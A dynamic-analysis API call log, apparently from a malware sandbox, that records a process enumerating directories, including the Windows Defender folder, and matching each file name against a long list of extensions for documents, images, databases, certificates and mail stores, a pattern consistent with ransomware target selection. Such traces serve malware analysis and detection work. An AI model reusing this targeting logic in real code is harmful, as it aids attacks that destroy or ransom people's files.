	[0179.286] lstrlenW (lpString=".pem") returned 4
	[0179.286] lstrcmpiW (lpString1=".pem", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pff") returned 4
	[0179.286] lstrcmpiW (lpString1=".pff", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pfm") returned 4
	[0179.286] lstrcmpiW (lpString1=".pfm", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pfx") returned 4
	[0179.286] lstrcmpiW (lpString1=".pfx", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pgm") returned 4
	[0179.286] lstrcmpiW (lpString1=".pgm", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".php") returned 4
	[0179.286] lstrcmpiW (lpString1=".php", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".php3") returned 5
	[0179.287] lstrcmpiW (lpString1=".php3", lpString2="1.etl") returned -1
	[0179.287] lstrlenW (lpString=".php4") returned 5
	[0179.287] lstrcmpiW (lpString1=".php4", lpString2="1.etl") returned -1
	[0179.287] lstrlenW (lpString=".php5") returned 5
	[0179.287] lstrcmpiW (lpString1=".php5", lpString2="1.etl") returned -1
	[0179.287] lstrlenW (lpString=".phtml") returned 6
	[0179.287] lstrcmpiW (lpString1=".phtml", lpString2="01.etl") returned -1
	[0179.287] lstrlenW (lpString=".pict") returned 5
	[0179.287] lstrcmpiW (lpString1=".pict", lpString2="1.etl") returned -1
	[0179.287] lstrlenW (lpString=".pl") returned 3
	[0179.287] lstrcmpiW (lpString1=".pl", lpString2="etl") returned -1
	[0179.287] lstrlenW (lpString=".pls") returned 4
	[0179.287] lstrcmpiW (lpString1=".pls", lpString2=".etl") returned 1
	[0179.287] lstrlenW (lpString=".pm") returned 3
	[0179.287] lstrcmpiW (lpString1=".pm", lpString2="etl") returned -1
	[0179.287] lstrlenW (lpString=".png") returned 4
	[0179.287] lstrcmpiW (lpString1=".png", lpString2=".etl") returned 1
	[0179.287] lstrlenW (lpString=".pnm") returned 4
	[0179.287] lstrcmpiW (lpString1=".pnm", lpString2=".etl") returned 1
	[0179.287] lstrlenW (lpString=".pot") returned 4
	[0179.287] lstrcmpiW (lpString1=".pot", lpString2=".etl") returned 1
	[0179.287] lstrlenW (lpString=".potm") returned 5
	[0179.287] lstrcmpiW (lpString1=".potm", lpString2="1.etl") returned -1
	[0179.287] lstrlenW (lpString=".potx") returned 5
	[0179.287] lstrcmpiW (lpString1=".potx", lpString2="1.etl") returned -1
	[0179.287] lstrlenW (lpString=".ppa") returned 4
	[0179.287] lstrcmpiW (lpString1=".ppa", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".ppam") returned 5
	[0179.288] lstrcmpiW (lpString1=".ppam", lpString2="1.etl") returned -1
	[0179.288] lstrlenW (lpString=".ppm") returned 4
	[0179.288] lstrcmpiW (lpString1=".ppm", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".pps") returned 4
	[0179.288] lstrcmpiW (lpString1=".pps", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".ppsm") returned 5
	[0179.288] lstrcmpiW (lpString1=".ppsm", lpString2="1.etl") returned -1
	[0179.288] lstrlenW (lpString=".ppt") returned 4
	[0179.288] lstrcmpiW (lpString1=".ppt", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".pptm") returned 5
	[0179.288] lstrcmpiW (lpString1=".pptm", lpString2="1.etl") returned -1
	[0179.288] lstrlenW (lpString=".pptx") returned 5
	[0179.288] lstrcmpiW (lpString1=".pptx", lpString2="1.etl") returned -1
	[0179.288] lstrlenW (lpString=".prn") returned 4
	[0179.288] lstrcmpiW (lpString1=".prn", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".ps") returned 3
	[0179.288] lstrcmpiW (lpString1=".ps", lpString2="etl") returned -1
	[0179.288] lstrlenW (lpString=".psb") returned 4
	[0179.288] lstrcmpiW (lpString1=".psb", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".psd") returned 4
	[0179.288] lstrcmpiW (lpString1=".psd", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".pst") returned 4
	[0179.288] lstrcmpiW (lpString1=".pst", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".ptx") returned 4
	[0179.288] lstrcmpiW (lpString1=".ptx", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".pub") returned 4
	[0179.288] lstrcmpiW (lpString1=".pub", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".pwm") returned 4
	[0179.288] lstrcmpiW (lpString1=".pwm", lpString2=".etl") returned 1
	[0179.288] lstrlenW (lpString=".pxr") returned 4
	[0179.289] lstrcmpiW (lpString1=".pxr", lpString2=".etl") returned 1
	[0179.289] lstrlenW (lpString=".py") returned 3
	[0179.289] lstrcmpiW (lpString1=".py", lpString2="etl") returned -1
	[0179.289] lstrlenW (lpString=".qt") returned 3
	[0179.289] lstrcmpiW (lpString1=".qt", lpString2="etl") returned -1
	[0179.289] lstrlenW (lpString=".r3d") returned 4
	[0179.289] lstrcmpiW (lpString1=".r3d", lpString2=".etl") returned 1
	[0179.289] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xf95053af, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x9b236e, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.002.etl", cAlternateFileName="UN8F7C~1.ETL")) returned 1
	[0179.289] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.003.etl", cAlternateFileName="UN3A48~1.ETL")) returned 1
	[0179.289] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.004.etl", cAlternateFileName="UNE414~1.ETL")) returned 1
	[0179.289] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.005.etl", cAlternateFileName="UN7020~1.ETL")) returned 1
	[0179.289] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.006.etl", cAlternateFileName="UN4AAB~1.ETL")) returned 1
	[0179.290] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.007.etl", cAlternateFileName="UN1B88~1.ETL")) returned 1
	[0179.290] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x361fe290, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.008.etl", cAlternateFileName="UNFF10~1.ETL")) returned 1
	[0179.290] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x885ec92b, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.009.etl", cAlternateFileName="UNB5F0~1.ETL")) returned 1
	[0179.290] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xce292e60, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.010.etl", cAlternateFileName="UNIVER~4.ETL")) returned 1
	[0179.290] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x107a2333, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.021.etl", cAlternateFileName="UNIVER~3.ETL")) returned 1
	[0179.291] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xcd5eb67, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.022.etl", cAlternateFileName="UNIVER~2.ETL")) returned 1
	[0179.291] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.029.etl", cAlternateFileName="UNIVER~1.ETL")) returned 1
	[0179.291] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.029.etl", cAlternateFileName="UNIVER~1.ETL")) returned 0
	[0179.291] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0179.292] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0179.292] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1
	[0179.293] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 0
	[0179.293] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0179.293] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0179.293] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e88ea20, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e88ea20, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0179.293] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0179.293] lstrlenW (lpString="C:\\Program Files\\Windows Defender") returned 33
	[0179.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e88ea20, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e88ea20, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eb28
	[0179.294] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e88ea20, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e88ea20, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0179.294] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758357f0, ftCreationTime.dwHighDateTime=0x1d5c24d, ftLastAccessTime.dwLowDateTime=0xd17754a0, ftLastAccessTime.dwHighDateTime=0x1d5abd5, ftLastWriteTime.dwLowDateTime=0xd17754a0, ftLastWriteTime.dwHighDateTime=0x1d5abd5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1
	[0179.295] lstrlenW (lpString="3dftp.exe") returned 9
	[0179.295] lstrlenW (lpString=".1cd") returned 4
	[0179.295] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0179.295] lstrlenW (lpString=".3ds") returned 4
	[0179.295] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0179.295] lstrlenW (lpString=".3fr") returned 4
	[0179.295] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0179.295] lstrlenW (lpString=".3g2") returned 4
	[0179.295] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0179.295] lstrlenW (lpString=".3gp") returned 4
	[0179.295] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0179.295] lstrlenW (lpString=".7z") returned 3
	[0179.295] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0179.295] lstrlenW (lpString=".accda") returned 6
	[0179.295] lstrcmpiW (lpString1=".accda", lpString2="tp.exe") returned -1
	[0179.295] lstrlenW (lpString=".accdb") returned 6
	[0179.295] lstrcmpiW (lpString1=".accdb", lpString2="tp.exe") returned -1
	[0179.295] lstrlenW (lpString=".accdc") returned 6
	[0179.295] lstrcmpiW (lpString1=".accdc", lpString2="tp.exe") returned -1
	[0179.295] lstrlenW (lpString=".accde") returned 6
	[0179.295] lstrcmpiW (lpString1=".accde", lpString2="tp.exe") returned -1
	[0179.296] lstrlenW (lpString=".accdt") returned 6
	[0179.296] lstrcmpiW (lpString1=".accdt", lpString2="tp.exe") returned -1
	[0179.296] lstrlenW (lpString=".accdw") returned 6
	[0179.296] lstrcmpiW (lpString1=".accdw", lpString2="tp.exe") returned -1
	[0179.296] lstrlenW (lpString=".adb") returned 4
	[0179.296] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".adp") returned 4
	[0179.296] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".ai") returned 3
	[0179.296] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0179.296] lstrlenW (lpString=".ai3") returned 4
	[0179.296] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".ai4") returned 4
	[0179.296] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".ai5") returned 4
	[0179.296] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".ai6") returned 4
	[0179.296] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".ai7") returned 4
	[0179.296] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".ai8") returned 4
	[0179.296] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".anim") returned 5
	[0179.296] lstrcmpiW (lpString1=".anim", lpString2="p.exe") returned -1
	[0179.296] lstrlenW (lpString=".arw") returned 4
	[0179.296] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0179.296] lstrlenW (lpString=".as") returned 3
	[0179.296] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0179.297] lstrlenW (lpString=".asa") returned 4
	[0179.297] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0179.297] lstrlenW (lpString=".asc") returned 4
	[0179.297] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0179.297] lstrlenW (lpString=".ascx") returned 5
	[0179.297] lstrcmpiW (lpString1=".ascx", lpString2="p.exe") returned -1
	[0179.297] lstrlenW (lpString=".asm") returned 4
	[0179.297] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0179.297] lstrlenW (lpString=".asmx") returned 5
	[0179.297] lstrcmpiW (lpString1=".asmx", lpString2="p.exe") returned -1
	[0179.297] lstrlenW (lpString=".asp") returned 4
	[0179.297] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0179.297] lstrlenW (lpString=".aspx") returned 5
	[0179.297] lstrcmpiW (lpString1=".aspx", lpString2="p.exe") returned -1
	[0179.297] lstrlenW (lpString=".asr") returned 4
	[0179.297] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0179.297] lstrlenW (lpString=".asx") returned 4
	[0179.297] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0179.297] lstrlenW (lpString=".avi") returned 4
	[0179.297] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0179.297] lstrlenW (lpString=".avs") returned 4
	[0179.297] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0179.297] lstrlenW (lpString=".backup") returned 7
	[0179.297] lstrcmpiW (lpString1=".backup", lpString2="ftp.exe") returned -1
	[0179.297] lstrlenW (lpString=".bak") returned 4
	[0179.297] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".bay") returned 4
	[0179.298] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".bd") returned 3
	[0179.298] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0179.298] lstrlenW (lpString=".bin") returned 4
	[0179.298] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".bmp") returned 4
	[0179.298] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".bz2") returned 4
	[0179.298] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".c") returned 2
	[0179.298] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0179.298] lstrlenW (lpString=".cdr") returned 4
	[0179.298] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".cer") returned 4
	[0179.298] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".cf") returned 3
	[0179.298] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0179.298] lstrlenW (lpString=".cfc") returned 4
	[0179.298] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".cfm") returned 4
	[0179.298] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".cfml") returned 5
	[0179.298] lstrcmpiW (lpString1=".cfml", lpString2="p.exe") returned -1
	[0179.298] lstrlenW (lpString=".cfu") returned 4
	[0179.298] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0179.298] lstrlenW (lpString=".chm") returned 4
	[0179.298] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".cin") returned 4
	[0179.299] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".class") returned 6
	[0179.299] lstrcmpiW (lpString1=".class", lpString2="tp.exe") returned -1
	[0179.299] lstrlenW (lpString=".clx") returned 4
	[0179.299] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".config") returned 7
	[0179.299] lstrcmpiW (lpString1=".config", lpString2="ftp.exe") returned -1
	[0179.299] lstrlenW (lpString=".cpp") returned 4
	[0179.299] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".cr2") returned 4
	[0179.299] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".crt") returned 4
	[0179.299] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".crw") returned 4
	[0179.299] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".cs") returned 3
	[0179.299] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0179.299] lstrlenW (lpString=".css") returned 4
	[0179.299] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".csv") returned 4
	[0179.299] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".cub") returned 4
	[0179.299] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".dae") returned 4
	[0179.299] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".dat") returned 4
	[0179.299] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0179.299] lstrlenW (lpString=".db") returned 3
	[0179.300] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0179.300] lstrlenW (lpString=".dbf") returned 4
	[0179.300] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".dbx") returned 4
	[0179.300] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".dc3") returned 4
	[0179.300] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".dcm") returned 4
	[0179.300] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".dcr") returned 4
	[0179.300] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".der") returned 4
	[0179.300] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".dib") returned 4
	[0179.300] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".dic") returned 4
	[0179.300] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".dif") returned 4
	[0179.300] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".divx") returned 5
	[0179.300] lstrcmpiW (lpString1=".divx", lpString2="p.exe") returned -1
	[0179.300] lstrlenW (lpString=".djvu") returned 5
	[0179.300] lstrcmpiW (lpString1=".djvu", lpString2="p.exe") returned -1
	[0179.300] lstrlenW (lpString=".dng") returned 4
	[0179.300] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".doc") returned 4
	[0179.300] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0179.300] lstrlenW (lpString=".docm") returned 5
	[0179.300] lstrcmpiW (lpString1=".docm", lpString2="p.exe") returned -1
	[0179.301] lstrlenW (lpString=".docx") returned 5
	[0179.301] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0179.301] lstrlenW (lpString=".dot") returned 4
	[0179.301] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0179.301] lstrlenW (lpString=".dotm") returned 5
	[0179.301] lstrcmpiW (lpString1=".dotm", lpString2="p.exe") returned -1
	[0179.301] lstrlenW (lpString=".dotx") returned 5
	[0179.301] lstrcmpiW (lpString1=".dotx", lpString2="p.exe") returned -1
	[0179.301] lstrlenW (lpString=".dpx") returned 4
